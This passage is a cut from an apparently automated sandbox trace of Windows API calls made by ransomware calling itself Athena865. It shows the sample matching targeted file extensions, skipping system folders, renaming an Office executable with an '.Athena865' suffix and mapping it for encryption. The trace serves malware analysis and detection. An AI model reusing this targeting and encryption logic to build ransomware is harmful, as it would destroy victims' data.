lstrlenW (lpString="pan") returned 3 [0071.917] lstrcmpiW (lpString1="EXE", lpString2="pan") returned -1 [0071.917] lstrlenW (lpString="pdb") returned 3 [0071.917] lstrcmpiW (lpString1="EXE", lpString2="pdb") returned -1 [0071.917] lstrlenW (lpString="pdm") returned 3 [0071.917] lstrcmpiW (lpString1="EXE", lpString2="pdm") returned -1 [0071.917] lstrlenW (lpString="pnz") returned 3 [0071.917] lstrcmpiW (lpString1="EXE", lpString2="pnz") returned -1 [0071.917] lstrlenW (lpString="qry") returned 3 [0071.917] lstrcmpiW (lpString1="EXE", lpString2="qry") returned -1 [0071.917] lstrlenW (lpString="qvd") returned 3 [0071.917] lstrcmpiW (lpString1="EXE", lpString2="qvd") returned -1 [0071.917] lstrlenW (lpString="rbf") returned 3 [0071.917] lstrcmpiW (lpString1="EXE", lpString2="rbf") returned -1 [0071.917] lstrlenW (lpString="rctd") returned 4 [0071.917] lstrcmpiW (lpString1=".EXE", lpString2="rctd") returned -1 [0071.917] lstrlenW (lpString="rod") returned 3 [0071.918] lstrcmpiW (lpString1="EXE", lpString2="rod") returned -1 [0071.918] lstrlenW (lpString="rodx") returned 4 [0071.918] lstrcmpiW (lpString1=".EXE", lpString2="rodx") returned -1 [0071.918] lstrlenW (lpString="rpd") returned 3 [0071.918] lstrcmpiW (lpString1="EXE", lpString2="rpd") returned -1 [0071.918] lstrlenW (lpString="rsd") returned 3 [0071.918] lstrcmpiW (lpString1="EXE", lpString2="rsd") returned -1 [0071.918] lstrlenW (lpString="sas7bdat") returned 8 [0071.918] lstrcmpiW (lpString1="RAPH.EXE", lpString2="sas7bdat") returned -1 [0071.918] lstrlenW (lpString="sbf") returned 3 [0071.918] lstrcmpiW (lpString1="EXE", lpString2="sbf") returned -1 [0071.918] lstrlenW (lpString="scx") returned 3 [0071.918] lstrcmpiW (lpString1="EXE", lpString2="scx") returned -1 [0071.918] lstrlenW (lpString="sdb") returned 3 [0071.918] lstrcmpiW (lpString1="EXE", lpString2="sdb") returned -1 [0071.918] lstrlenW (lpString="sdc") returned 3 [0071.918] lstrcmpiW (lpString1="EXE", lpString2="sdc") returned -1 [0071.918] lstrlenW (lpString="sdf") returned 3 [0071.918] lstrcmpiW (lpString1="EXE", lpString2="sdf") returned -1 [0071.918] lstrlenW (lpString="sis") returned 3 [0071.918] lstrcmpiW (lpString1="EXE", lpString2="sis") returned -1 [0071.918] lstrlenW (lpString="spq") returned 3 [0071.918] lstrcmpiW (lpString1="EXE", lpString2="spq") returned -1 [0071.918] lstrlenW (lpString="te") returned 2 [0071.918] lstrcmpiW (lpString1="XE", lpString2="te") returned 1 [0071.918] lstrlenW (lpString="teacher") returned 7 [0071.918] lstrcmpiW (lpString1="APH.EXE", lpString2="teacher") returned -1 [0071.918] lstrlenW (lpString="tmd") returned 3 [0071.918] lstrcmpiW (lpString1="EXE", lpString2="tmd") returned -1 [0071.918] lstrlenW (lpString="tps") returned 3 [0071.919] lstrcmpiW (lpString1="EXE", lpString2="tps") returned -1 [0071.919] lstrlenW (lpString="trc") returned 3 [0071.919] lstrcmpiW (lpString1="EXE", lpString2="trc") returned -1 [0071.919] lstrlenW (lpString="trc") returned 3 [0071.919] lstrcmpiW (lpString1="EXE", lpString2="trc") returned -1 [0071.919] lstrlenW (lpString="trm") returned 3 [0071.919] lstrcmpiW (lpString1="EXE", lpString2="trm") returned -1 [0071.919] lstrlenW (lpString="udb") returned 3 [0071.919] lstrcmpiW (lpString1="EXE", lpString2="udb") returned -1 [0071.919] lstrlenW (lpString="udl") returned 3 [0071.919] lstrcmpiW (lpString1="EXE", lpString2="udl") returned -1 [0071.919] lstrlenW (lpString="usr") returned 3 [0071.919] lstrcmpiW (lpString1="EXE", lpString2="usr") returned -1 [0071.919] lstrlenW (lpString="v12") returned 3 [0071.919] lstrcmpiW (lpString1="EXE", lpString2="v12") returned -1 [0071.919] lstrlenW (lpString="vis") returned 3 [0071.919] lstrcmpiW (lpString1="EXE", lpString2="vis") returned -1 [0071.919] lstrlenW (lpString="vpd") returned 3 [0071.919] lstrcmpiW (lpString1="EXE", lpString2="vpd") returned -1 [0071.919] lstrlenW (lpString="vvv") returned 3 [0071.919] lstrcmpiW (lpString1="EXE", lpString2="vvv") returned -1 [0071.919] lstrlenW (lpString="wdb") returned 3 [0071.919] lstrcmpiW (lpString1="EXE", lpString2="wdb") returned -1 [0071.919] lstrlenW (lpString="wmdb") returned 4 [0071.919] lstrcmpiW (lpString1=".EXE", lpString2="wmdb") returned -1 [0071.919] lstrlenW (lpString="wrk") returned 3 [0071.919] lstrcmpiW (lpString1="EXE", lpString2="wrk") returned -1 [0071.919] lstrlenW (lpString="xdb") returned 3 [0071.919] lstrcmpiW (lpString1="EXE", lpString2="xdb") returned -1 [0071.919] lstrlenW (lpString="xld") returned 3 [0071.919] lstrcmpiW (lpString1="EXE", lpString2="xld") returned -1 [0071.919] lstrlenW (lpString="xmlff") returned 5 [0071.919] lstrcmpiW (lpString1="H.EXE", lpString2="xmlff") returned -1 [0071.920] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.EXE.Athena865") returned 62 [0071.920] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\graph.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\graph.exe.athena865"), dwFlags=0x1) returned 1 [0071.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\graph.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0071.921] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6437760) returned 1 [0071.921] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0071.922] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0071.922] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0071.922] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0071.923] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0071.923] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0071.923] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x623e80, lpName=0x0) returned 0x17c [0071.924] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x600000, dwNumberOfBytesToMap=0x23e80) returned 0x170000 [0071.934] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0072.117] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0072.134] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0072.135] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0072.135] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0072.135] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0072.135] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0072.135] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0072.135] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0072.135] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0072.135] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0072.136] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0072.136] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0072.136] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0072.136] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0072.136] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0072.137] CloseHandle (hObject=0x17c) returned 1 [0072.137] CloseHandle (hObject=0x154) returned 1 [0072.137] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0072.137] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0072.137] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0072.146] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2ca8e00, ftCreationTime.dwHighDateTime=0x1cac1de, ftLastAccessTime.dwLowDateTime=0x61a91a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2ca8e00, ftLastWriteTime.dwHighDateTime=0x1cac1de, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Graph.exe.manifest", cAlternateFileName="GRAPHE~1.MAN")) returned 1 [0072.146] lstrcmpiW (lpString1="Graph.exe.manifest", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0072.146] lstrcmpiW (lpString1="Graph.exe.manifest", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0072.146] lstrcmpiW (lpString1="Graph.exe.manifest", lpString2=".") returned 1 [0072.146] lstrcmpiW (lpString1="Graph.exe.manifest", lpString2="..") returned 1 [0072.146] lstrcmpiW (lpString1="Graph.exe.manifest", lpString2="windows") returned -1 [0072.146] lstrcmpiW (lpString1="Graph.exe.manifest", lpString2="bootmgr") returned 1 [0072.146] lstrcmpiW (lpString1="Graph.exe.manifest", lpString2="temp") returned -1 [0072.146] lstrcmpiW (lpString1="Graph.exe.manifest", lpString2="pagefile.sys") returned -1 [0072.146] lstrcmpiW (lpString1="Graph.exe.manifest", lpString2="boot") returned 1 [0072.146] lstrcmpiW (lpString1="Graph.exe.manifest", lpString2="ids.txt") returned -1 [0072.146] lstrcmpiW (lpString1="Graph.exe.manifest", lpString2="ntuser.dat") returned -1 [0072.146] lstrcmpiW (lpString1="Graph.exe.manifest", lpString2="perflogs") returned -1 [0072.146] lstrcmpiW (lpString1="Graph.exe.manifest", lpString2="MSBuild") returned -1 [0072.147] lstrlenW (lpString="Graph.exe.manifest") returned 18 [0072.147] lstrcpyW (in: lpString1=0x241e89e, lpString2="Graph.exe.manifest" | out: lpString1="Graph.exe.manifest") returned="Graph.exe.manifest" [0072.147] lstrlenW (lpString="Graph.exe.manifest") returned 18 [0072.147] lstrlenW (lpString="Athena865") returned 9 [0072.147] lstrcmpiW (lpString1=".manifest", lpString2="Athena865") returned -1 [0072.147] lstrlenW (lpString=".dll") returned 4 [0072.147] lstrcmpiW (lpString1="Graph.exe.manifest", lpString2=".dll") returned 1 [0072.147] lstrlenW (lpString=".lnk") returned 4 [0072.147] lstrcmpiW (lpString1="Graph.exe.manifest", lpString2=".lnk") returned 1 [0072.147] lstrlenW (lpString=".ini") returned 4 [0072.147] lstrcmpiW (lpString1="Graph.exe.manifest", lpString2=".ini") returned 1 [0072.147] lstrlenW (lpString=".sys") returned 4 [0072.147] lstrcmpiW (lpString1="Graph.exe.manifest", lpString2=".sys") returned 1 [0072.147] lstrlenW (lpString="Graph.exe.manifest") returned 18 [0072.147] lstrlenW (lpString="bak") returned 3 [0072.147] lstrcmpiW (lpString1="est", lpString2="bak") returned 1 [0072.147] lstrlenW (lpString="ba_") returned 3 [0072.147] lstrcmpiW (lpString1="est", lpString2="ba_") returned 1 [0072.147] lstrlenW (lpString="dbb") returned 3 [0072.147] lstrcmpiW (lpString1="est", lpString2="dbb") returned 1 [0072.147] lstrlenW (lpString="vmdk") returned 4 [0072.147] lstrcmpiW (lpString1="fest", lpString2="vmdk") returned -1 [0072.147] lstrlenW (lpString="rar") returned 3 [0072.147] lstrcmpiW (lpString1="est", lpString2="rar") returned -1 [0072.147] lstrlenW (lpString="zip") returned 3 [0072.147] lstrcmpiW (lpString1="est", lpString2="zip") returned -1 [0072.147] lstrlenW (lpString="tgz") returned 3 [0072.147] lstrcmpiW (lpString1="est", lpString2="tgz") returned -1 [0072.147] lstrlenW (lpString="vbox") returned 4 [0072.147] lstrcmpiW (lpString1="fest", lpString2="vbox") returned -1 [0072.147] lstrlenW (lpString="vdi") returned 3 [0072.147] lstrcmpiW (lpString1="est", lpString2="vdi") returned -1 [0072.148] lstrlenW (lpString="vhd") returned 3 [0072.148] lstrcmpiW (lpString1="est", lpString2="vhd") returned -1 [0072.148] lstrlenW (lpString="vhdx") returned 4 [0072.148] lstrcmpiW (lpString1="fest", lpString2="vhdx") returned -1 [0072.148] lstrlenW (lpString="avhd") returned 4 [0072.148] lstrcmpiW (lpString1="fest", lpString2="avhd") returned 1 [0072.148] lstrlenW (lpString="db") returned 2 [0072.148] lstrcmpiW (lpString1="st", lpString2="db") returned 1 [0072.148] lstrlenW (lpString="db2") returned 3 [0072.148] lstrcmpiW (lpString1="est", lpString2="db2") returned 1 [0072.148] lstrlenW (lpString="db3") returned 3 [0072.148] lstrcmpiW (lpString1="est", lpString2="db3") returned 1 [0072.148] lstrlenW (lpString="dbf") returned 3 [0072.148] lstrcmpiW (lpString1="est", lpString2="dbf") returned 1 [0072.148] lstrlenW (lpString="mdf") returned 3 [0072.148] lstrcmpiW (lpString1="est", lpString2="mdf") returned -1 [0072.148] lstrlenW (lpString="mdb") returned 3 [0072.148] lstrcmpiW (lpString1="est", lpString2="mdb") returned -1 [0072.148] lstrlenW (lpString="sql") returned 3 [0072.148] lstrcmpiW (lpString1="est", lpString2="sql") returned -1 [0072.148] lstrlenW (lpString="sqlite") returned 6 [0072.148] lstrcmpiW (lpString1="nifest", lpString2="sqlite") returned -1 [0072.148] lstrlenW (lpString="sqlite3") returned 7 [0072.148] lstrcmpiW (lpString1="anifest", lpString2="sqlite3") returned -1 [0072.148] lstrlenW (lpString="sqlitedb") returned 8 [0072.148] lstrcmpiW (lpString1="manifest", lpString2="sqlitedb") returned -1 [0072.148] lstrlenW (lpString="xml") returned 3 [0072.148] lstrcmpiW (lpString1="est", lpString2="xml") returned -1 [0072.148] lstrlenW (lpString="$er") returned 3 [0072.148] lstrcmpiW (lpString1="est", lpString2="$er") returned 1 [0072.148] lstrlenW (lpString="4dd") returned 3 [0072.148] lstrcmpiW (lpString1="est", lpString2="4dd") returned 1 [0072.148] lstrlenW (lpString="4dl") returned 3 [0072.149] lstrcmpiW (lpString1="est", lpString2="4dl") returned 1 [0072.149] lstrlenW (lpString="^^^") returned 3 [0072.149] lstrcmpiW (lpString1="est", lpString2="^^^") returned 1 [0072.149] lstrlenW (lpString="abs") returned 3 [0072.149] lstrcmpiW (lpString1="est", lpString2="abs") returned 1 [0072.149] lstrlenW (lpString="abx") returned 3 [0072.149] lstrcmpiW (lpString1="est", lpString2="abx") returned 1 [0072.149] lstrlenW (lpString="accdb") returned 5 [0072.149] lstrcmpiW (lpString1="ifest", lpString2="accdb") returned 1 [0072.149] lstrlenW (lpString="accdc") returned 5 [0072.149] lstrcmpiW (lpString1="ifest", lpString2="accdc") returned 1 [0072.149] lstrlenW (lpString="accde") returned 5 [0072.149] lstrcmpiW (lpString1="ifest", lpString2="accde") returned 1 [0072.149] lstrlenW (lpString="accdr") returned 5 [0072.149] lstrcmpiW (lpString1="ifest", lpString2="accdr") returned 1 [0072.149] lstrlenW (lpString="accdt") returned 5 [0072.149] lstrcmpiW (lpString1="ifest", lpString2="accdt") returned 1 [0072.149] lstrlenW (lpString="accdw") returned 5 [0072.149] lstrcmpiW (lpString1="ifest", lpString2="accdw") returned 1 [0072.149] lstrlenW (lpString="accft") returned 5 [0072.149] lstrcmpiW (lpString1="ifest", lpString2="accft") returned 1 [0072.149] lstrlenW (lpString="adb") returned 3 [0072.149] lstrcmpiW (lpString1="est", lpString2="adb") returned 1 [0072.149] lstrlenW (lpString="adb") returned 3 [0072.149] lstrcmpiW (lpString1="est", lpString2="adb") returned 1 [0072.149] lstrlenW (lpString="ade") returned 3 [0072.149] lstrcmpiW (lpString1="est", lpString2="ade") returned 1 [0072.149] lstrlenW (lpString="adf") returned 3 [0072.149] lstrcmpiW (lpString1="est", lpString2="adf") returned 1 [0072.149] lstrlenW (lpString="adn") returned 3 [0072.149] lstrcmpiW (lpString1="est", lpString2="adn") returned 1 [0072.149] lstrlenW (lpString="adp") returned 3 [0072.149] lstrcmpiW (lpString1="est", lpString2="adp") returned 1 [0072.150] lstrlenW (lpString="alf") returned 3 [0072.150] lstrcmpiW (lpString1="est", lpString2="alf") returned 1 [0072.150] lstrlenW (lpString="ask") returned 3 [0072.150] lstrcmpiW (lpString1="est", lpString2="ask") returned 1 [0072.150] lstrlenW (lpString="btr") returned 3 [0072.150] lstrcmpiW (lpString1="est", lpString2="btr") returned 1 [0072.150] lstrlenW (lpString="cat") returned 3 [0072.150] lstrcmpiW (lpString1="est", lpString2="cat") returned 1 [0072.150] lstrlenW (lpString="cdb") returned 3 [0072.150] lstrcmpiW (lpString1="est", lpString2="cdb") returned 1 [0072.150] lstrlenW (lpString="ckp") returned 3 [0072.150] lstrcmpiW (lpString1="est", lpString2="ckp") returned 1 [0072.150] lstrlenW (lpString="cma") returned 3 [0072.150] lstrcmpiW (lpString1="est", lpString2="cma") returned 1 [0072.150] lstrlenW (lpString="cpd") returned 3 [0072.150] lstrcmpiW (lpString1="est", lpString2="cpd") returned 1 [0072.150] lstrlenW (lpString="dacpac") returned 6 [0072.150] lstrcmpiW (lpString1="nifest", lpString2="dacpac") returned 1 [0072.150] lstrlenW (lpString="dad") returned 3 [0072.150] lstrcmpiW (lpString1="est", lpString2="dad") returned 1 [0072.150] lstrlenW (lpString="dadiagrams") returned 10 [0072.150] lstrcmpiW (lpString1="e.manifest", lpString2="dadiagrams") returned 1 [0072.150] lstrlenW (lpString="daschema") returned 8 [0072.150] lstrcmpiW (lpString1="manifest", lpString2="daschema") returned 1 [0072.150] lstrlenW (lpString="db-journal") returned 10 [0072.150] lstrcmpiW (lpString1="e.manifest", lpString2="db-journal") returned 1 [0072.150] lstrlenW (lpString="db-shm") returned 6 [0072.150] lstrcmpiW (lpString1="nifest", lpString2="db-shm") returned 1 [0072.150] lstrlenW (lpString="db-wal") returned 6 [0072.150] lstrcmpiW (lpString1="nifest", lpString2="db-wal") returned 1 [0072.150] lstrlenW (lpString="dbc") returned 3 [0072.150] lstrcmpiW (lpString1="est", lpString2="dbc") returned 1 [0072.151] lstrlenW (lpString="dbs") returned 3 [0072.151] lstrcmpiW (lpString1="est", lpString2="dbs") returned 1 [0072.151] lstrlenW (lpString="dbt") returned 3 [0072.151] lstrcmpiW (lpString1="est", lpString2="dbt") returned 1 [0072.151] lstrlenW (lpString="dbv") returned 3 [0072.151] lstrcmpiW (lpString1="est", lpString2="dbv") returned 1 [0072.151] lstrlenW (lpString="dbx") returned 3 [0072.151] lstrcmpiW (lpString1="est", lpString2="dbx") returned 1 [0072.151] lstrlenW (lpString="dcb") returned 3 [0072.151] lstrcmpiW (lpString1="est", lpString2="dcb") returned 1 [0072.151] lstrlenW (lpString="dct") returned 3 [0072.151] lstrcmpiW (lpString1="est", lpString2="dct") returned 1 [0072.151] lstrlenW (lpString="dcx") returned 3 [0072.151] lstrcmpiW (lpString1="est", lpString2="dcx") returned 1 [0072.151] lstrlenW (lpString="ddl") returned 3 [0072.151] lstrcmpiW (lpString1="est", lpString2="ddl") returned 1 [0072.151] lstrlenW (lpString="dlis") returned 4 [0072.151] lstrcmpiW (lpString1="fest", lpString2="dlis") returned 1 [0072.151] lstrlenW (lpString="dp1") returned 3 [0072.151] lstrcmpiW (lpString1="est", lpString2="dp1") returned 1 [0072.151] lstrlenW (lpString="dqy") returned 3 [0072.151] lstrcmpiW (lpString1="est", lpString2="dqy") returned 1 [0072.151] lstrlenW (lpString="dsk") returned 3 [0072.151] lstrcmpiW (lpString1="est", lpString2="dsk") returned 1 [0072.151] lstrlenW (lpString="dsn") returned 3 [0072.151] lstrcmpiW (lpString1="est", lpString2="dsn") returned 1 [0072.151] lstrlenW (lpString="dtsx") returned 4 [0072.151] lstrcmpiW (lpString1="fest", lpString2="dtsx") returned 1 [0072.151] lstrlenW (lpString="dxl") returned 3 [0072.151] lstrcmpiW (lpString1="est", lpString2="dxl") returned 1 [0072.151] lstrlenW (lpString="eco") returned 3 [0072.151] lstrcmpiW (lpString1="est", lpString2="eco") returned 1 [0072.151] lstrlenW (lpString="ecx") returned 3 [0072.152] lstrcmpiW (lpString1="est", lpString2="ecx") returned 1 [0072.152] lstrlenW (lpString="edb") returned 3 [0072.152] lstrcmpiW (lpString1="est", lpString2="edb") returned 1 [0072.152] lstrlenW (lpString="epim") returned 4 [0072.152] lstrcmpiW (lpString1="fest", lpString2="epim") returned 1 [0072.152] lstrlenW (lpString="fcd") returned 3 [0072.152] lstrcmpiW (lpString1="est", lpString2="fcd") returned -1 [0072.152] lstrlenW (lpString="fdb") returned 3 [0072.152] lstrcmpiW (lpString1="est", lpString2="fdb") returned -1 [0072.152] lstrlenW (lpString="fic") returned 3 [0072.152] lstrcmpiW (lpString1="est", lpString2="fic") returned -1 [0072.152] lstrlenW (lpString="flexolibrary") returned 12 [0072.152] lstrcmpiW (lpString1="exe.manifest", lpString2="flexolibrary") returned -1 [0072.152] lstrlenW (lpString="fm5") returned 3 [0072.152] lstrcmpiW (lpString1="est", lpString2="fm5") returned -1 [0072.152] lstrlenW (lpString="fmp") returned 3 [0072.152] lstrcmpiW (lpString1="est", lpString2="fmp") returned -1 [0072.152] lstrlenW (lpString="fmp12") returned 5 [0072.152] lstrcmpiW (lpString1="ifest", lpString2="fmp12") returned 1 [0072.152] lstrlenW (lpString="fmpsl") returned 5 [0072.152] lstrcmpiW (lpString1="ifest", lpString2="fmpsl") returned 1 [0072.152] lstrlenW (lpString="fol") returned 3 [0072.152] lstrcmpiW (lpString1="est", lpString2="fol") returned -1 [0072.152] lstrlenW (lpString="fp3") returned 3 [0072.152] lstrcmpiW (lpString1="est", lpString2="fp3") returned -1 [0072.152] lstrlenW (lpString="fp4") returned 3 [0072.152] lstrcmpiW (lpString1="est", lpString2="fp4") returned -1 [0072.152] lstrlenW (lpString="fp5") returned 3 [0072.152] lstrcmpiW (lpString1="est", lpString2="fp5") returned -1 [0072.152] lstrlenW (lpString="fp7") returned 3 [0072.152] lstrcmpiW (lpString1="est", lpString2="fp7") returned -1 [0072.152] lstrlenW (lpString="fpt") returned 3 [0072.153] lstrcmpiW (lpString1="est", lpString2="fpt") returned -1 [0072.153] lstrlenW (lpString="frm") returned 3 [0072.153] lstrcmpiW (lpString1="est", lpString2="frm") returned -1 [0072.153] lstrlenW (lpString="gdb") returned 3 [0072.153] lstrcmpiW (lpString1="est", lpString2="gdb") returned -1 [0072.153] lstrlenW (lpString="gdb") returned 3 [0072.153] lstrcmpiW (lpString1="est", lpString2="gdb") returned -1 [0072.153] lstrlenW (lpString="grdb") returned 4 [0072.153] lstrcmpiW (lpString1="fest", lpString2="grdb") returned -1 [0072.153] lstrlenW (lpString="gwi") returned 3 [0072.153] lstrcmpiW (lpString1="est", lpString2="gwi") returned -1 [0072.153] lstrlenW (lpString="hdb") returned 3 [0072.153] lstrcmpiW (lpString1="est", lpString2="hdb") returned -1 [0072.153] lstrlenW (lpString="his") returned 3 [0072.153] lstrcmpiW (lpString1="est", lpString2="his") returned -1 [0072.153] lstrlenW (lpString="ib") returned 2 [0072.153] lstrcmpiW (lpString1="st", lpString2="ib") returned 1 [0072.153] lstrlenW (lpString="idb") returned 3 [0072.153] lstrcmpiW (lpString1="est", lpString2="idb") returned -1 [0072.153] lstrlenW (lpString="ihx") returned 3 [0072.153] lstrcmpiW (lpString1="est", lpString2="ihx") returned -1 [0072.153] lstrlenW (lpString="itdb") returned 4 [0072.153] lstrcmpiW (lpString1="fest", lpString2="itdb") returned -1 [0072.153] lstrlenW (lpString="itw") returned 3 [0072.153] lstrcmpiW (lpString1="est", lpString2="itw") returned -1 [0072.153] lstrlenW (lpString="jet") returned 3 [0072.153] lstrcmpiW (lpString1="est", lpString2="jet") returned -1 [0072.153] lstrlenW (lpString="jtx") returned 3 [0072.153] lstrcmpiW (lpString1="est", lpString2="jtx") returned -1 [0072.153] lstrlenW (lpString="kdb") returned 3 [0072.153] lstrcmpiW (lpString1="est", lpString2="kdb") returned -1 [0072.153] lstrlenW (lpString="kexi") returned 4 [0072.153] lstrcmpiW (lpString1="fest", lpString2="kexi") returned -1 [0072.154] lstrlenW (lpString="kexic") returned 5 [0072.154] lstrcmpiW (lpString1="ifest", lpString2="kexic") returned -1 [0072.154] lstrlenW (lpString="kexis") returned 5 [0072.154] lstrcmpiW (lpString1="ifest", lpString2="kexis") returned -1 [0072.154] lstrlenW (lpString="lgc") returned 3 [0072.154] lstrcmpiW (lpString1="est", lpString2="lgc") returned -1 [0072.154] lstrlenW (lpString="lwx") returned 3 [0072.154] lstrcmpiW (lpString1="est", lpString2="lwx") returned -1 [0072.154] lstrlenW (lpString="maf") returned 3 [0072.154] lstrcmpiW (lpString1="est", lpString2="maf") returned -1 [0072.154] lstrlenW (lpString="maq") returned 3 [0072.154] lstrcmpiW (lpString1="est", lpString2="maq") returned -1 [0072.154] lstrlenW (lpString="mar") returned 3 [0072.154] lstrcmpiW (lpString1="est", lpString2="mar") returned -1 [0072.154] lstrlenW (lpString="marshal") returned 7 [0072.154] lstrcmpiW (lpString1="anifest", lpString2="marshal") returned -1 [0072.154] lstrlenW (lpString="mas") returned 3 [0072.154] lstrcmpiW (lpString1="est", lpString2="mas") returned -1 [0072.154] lstrlenW (lpString="mav") returned 3 [0072.154] lstrcmpiW (lpString1="est", lpString2="mav") returned -1 [0072.154] lstrlenW (lpString="maw") returned 3 [0072.154] lstrcmpiW (lpString1="est", lpString2="maw") returned -1 [0072.154] lstrlenW (lpString="mdbhtml") returned 7 [0072.154] lstrcmpiW (lpString1="anifest", lpString2="mdbhtml") returned -1 [0072.154] lstrlenW (lpString="mdn") returned 3 [0072.154] lstrcmpiW (lpString1="est", lpString2="mdn") returned -1 [0072.154] lstrlenW (lpString="mdt") returned 3 [0072.154] lstrcmpiW (lpString1="est", lpString2="mdt") returned -1 [0072.154] lstrlenW (lpString="mfd") returned 3 [0072.154] lstrcmpiW (lpString1="est", lpString2="mfd") returned -1 [0072.154] lstrlenW (lpString="mpd") returned 3 [0072.154] lstrcmpiW (lpString1="est", lpString2="mpd") returned -1 [0072.154] lstrlenW (lpString="mrg") returned 3 [0072.155] lstrcmpiW (lpString1="est", lpString2="mrg") returned -1 [0072.155] lstrlenW (lpString="mud") returned 3 [0072.155] lstrcmpiW (lpString1="est", lpString2="mud") returned -1 [0072.155] lstrlenW (lpString="mwb") returned 3 [0072.155] lstrcmpiW (lpString1="est", lpString2="mwb") returned -1 [0072.155] lstrlenW (lpString="myd") returned 3 [0072.155] lstrcmpiW (lpString1="est", lpString2="myd") returned -1 [0072.155] lstrlenW (lpString="ndf") returned 3 [0072.155] lstrcmpiW (lpString1="est", lpString2="ndf") returned -1 [0072.155] lstrlenW (lpString="nnt") returned 3 [0072.155] lstrcmpiW (lpString1="est", lpString2="nnt") returned -1 [0072.155] lstrlenW (lpString="nrmlib") returned 6 [0072.155] lstrcmpiW (lpString1="nifest", lpString2="nrmlib") returned -1 [0072.155] lstrlenW (lpString="ns2") returned 3 [0072.155] lstrcmpiW (lpString1="est", lpString2="ns2") returned -1 [0072.155] lstrlenW (lpString="ns3") returned 3 [0072.155] lstrcmpiW (lpString1="est", lpString2="ns3") returned -1 [0072.155] lstrlenW (lpString="ns4") returned 3 [0072.155] lstrcmpiW (lpString1="est", lpString2="ns4") returned -1 [0072.155] lstrlenW (lpString="nsf") returned 3 [0072.155] lstrcmpiW (lpString1="est", lpString2="nsf") returned -1 [0072.155] lstrlenW (lpString="nv") returned 2 [0072.155] lstrcmpiW (lpString1="st", lpString2="nv") returned 1 [0072.155] lstrlenW (lpString="nv2") returned 3 [0072.155] lstrcmpiW (lpString1="est", lpString2="nv2") returned -1 [0072.155] lstrlenW (lpString="nwdb") returned 4 [0072.155] lstrcmpiW (lpString1="fest", lpString2="nwdb") returned -1 [0072.155] lstrlenW (lpString="nyf") returned 3 [0072.155] lstrcmpiW (lpString1="est", lpString2="nyf") returned -1 [0072.155] lstrlenW (lpString="odb") returned 3 [0072.155] 